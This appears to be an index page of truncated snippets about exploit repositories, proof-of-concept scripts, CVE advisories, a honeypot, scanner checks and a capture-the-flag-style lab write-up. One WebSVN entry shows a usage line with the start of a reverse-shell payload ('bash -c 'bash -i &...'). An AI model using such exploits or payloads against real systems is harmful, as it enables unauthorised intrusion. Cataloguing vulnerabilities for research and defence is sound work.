CVE-2024-50492

🚨 CVE-2024-50492 - ScottCart 🔥 Exploit Script for ScottCart 🧑‍💻 By Nxploit – Khaled Alenazi 📌 Description The ScottCart plugin for WordPress versions ≤ 1.1 is vulnerable to Remote Code Execution RCE. This allows unauthenticated attackers to execute arbitrary PHP functions on the server through a...

CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE-

CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE- Reference: https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html exploit.py - python code to run...

CVE-2017-7525-Jackson-Deserialization-Lab

CVE-2017-7525 Java Insecure Deserialization Lab Basic Java REST application vulnerable to Insecure Deserialization, leading to RCE. The project must be run on Java 8u45 Based on Maven with the following dependencies: jackson-databind 2.2.2 commons-collections 3.1 spring-context-support 4.3.11 Mor...

weblogic_honeypot

WebLogic honeypot Cymmetria Research, 2018. https://www.cymmetria.com/ Written by: Omer Cohen @omercnet Special thanks: Imri Goldberg @lorgandon, Itamar Sher, Nadav Lev Contact: [email protected] WebLogic Honeypot is a low interaction honeypot to detect CVE-2017-10271 in the Oracle WebLogic...

CVE-2019-11447-POC

sadnews CuteNews 2.1.2 - CVE-2019-11447 Proof-Of-Concept POC by CRFSlick, discovered by AkkuS An issue was discovered in CutePHP CuteNews 2.1.2. An attacker can infiltrate the server through the avatar upload process in the profile area via the avatarfile field to index.php?mod=main&opt=personal...

Moniker-Link-CVE-2024-21413

🛡️ Moniker Link CVE-2024-21413 Room: Moniker Link CVE-2024-21413 — TryHackMe Status: ✅ Completed Date: 30 May 2025 🎯 Objective Understand and exploit CVE-2024-21413, a vulnerability in Microsoft Outlook that bypasses Protected View using Moniker Links to leak NTLM credentials. Learn how to perform...

CVE-2026-5027

This post is a research article published by EQSTLab. Thanks toYahia Hamza, who reported and analyzed this vulnerability. CVE-2026-5027 ★ CVE-2026-5027 Langflow Path Traversal / Arbitrary File Write PoC ★ Description CVE-2026-5027 : Langflow Arbitrary File Write Vulnerability description: A path...

Laravel Livewire 3.6.3 Code Injection

Laravel Livewire versions from 3.0.0-beta.1 through 3.6.3 contain a code injection vulnerability during component property hydration that may allow unauthenticated remote code execution...

Linux Distros Unpatched Vulnerability : CVE-2026-111105

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Telegram rlottie Numeric Truncation Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected...

Linux Distros Unpatched Vulnerability : CVE-2026-110111

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Xen Orchestra before 6.9.0 contains an improper access control vulnerability that allows any authenticated user to become global administrator by abusing the...

VulnCheck KEV: CVE-2026-25243

Redis is an in-memory data structure store. In versions of redis-server up to 8.6.3, the RESTORE command does not properly validate serialized values. An authenticated attacker with permission to execute RESTORE can supply a crafted serialized payload that triggers invalid memory access and may...

Drupal Core 12.0.0-beta1 Field UI Remote Code Execution Detection Tool

Drupal Core versions containing the Field UI module are vulnerable to remote code execution. This tool performs read-only version and Field UI checks to identify potentially affected installations...

Linux Distros Unpatched Vulnerability : CVE-2026-92262

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, the mysql50 bypass prefi...

FreePBX-CVE-2025-57819-CVE-2025-61678

FreePBX-CVE-2025-57819-CVE-2025-61678 Chains CVE-2025-57819 stacked query SQL injection and CVE-2025-61678 authenticated file upload in FreePBX Endpoint Manager to achieve Remote Code Execution RCE. For educational use only. References:...

CVE-2022-24638

AS SEEN ON EXPLOITDB: https://www.exploit-db.com/exploits/51026 THIS VERSION IS FIXED TO PREVENT FALSE NEGATIVES CVE-2022-24637 Exploit for the Unauthenticated RCE in Open Web Analytics OWA 1.7.4. This work is based on https://devel0pment.de/?p=2494. DISCLAIMER: This script is made to audit the...

CVE-2021-32305-websvn-2.6.0

CVE-2021-3205-websvn-2.6.0 This is a exploit of CVE-2021-3205 a web vulnerability to command injection on search.php path, this exploit allows execute commands. Requirements optparse, signal, requests Usage ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/ --payload "bash -c 'bash -i &...

CVE-2020-27955

Git-lfs Remote Code Execution RCE exploit CVE-2020-27955 .bat / powershell version Vulnerable: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken etc. Discovered by Dawid Golunski https://legalhackers.com https://exploitbox.io Tested on Windows on: git, GitHub...

Mailcow-CVE-2022-31245

Mailcow CVE-2022-31245 CVE-2022-31245: RCE and Domain Admin privilege escalation for Mailcow. Including POC. Reported and fixed: 2022-05 Patched Version: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d CVE: https://vulners.com/cve/CVE-2022-31245 CVE-2022-31245: Command...

CVE-2021-43258

CVE-2021-43258 ChurchInfo 1.2.13-1.3.0 Remote Code Execution Exploit Full title| ChurchInfo 1.2.13-1.3.0 Remote Code Execution Exploit ---|--- Date add| 21-11-2022 Category| remote exploits Platform| php Risk| Security RiskCritical Description| This Metasploit module exploits the logic in the...

CVE-2024-4879-CVE-2024-5217-ServiceNow-RCE-Scanning

CVE-2024-4879-CVE-2024-5217-ServiceNow-RCE-Scanning CVE-2024-4879 & CVE-2024-5217 ServiceNow RCE Scanning Using Nuclei & Shodan Dork to find it. Resource Vuln Info https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data Usage nuclei -t...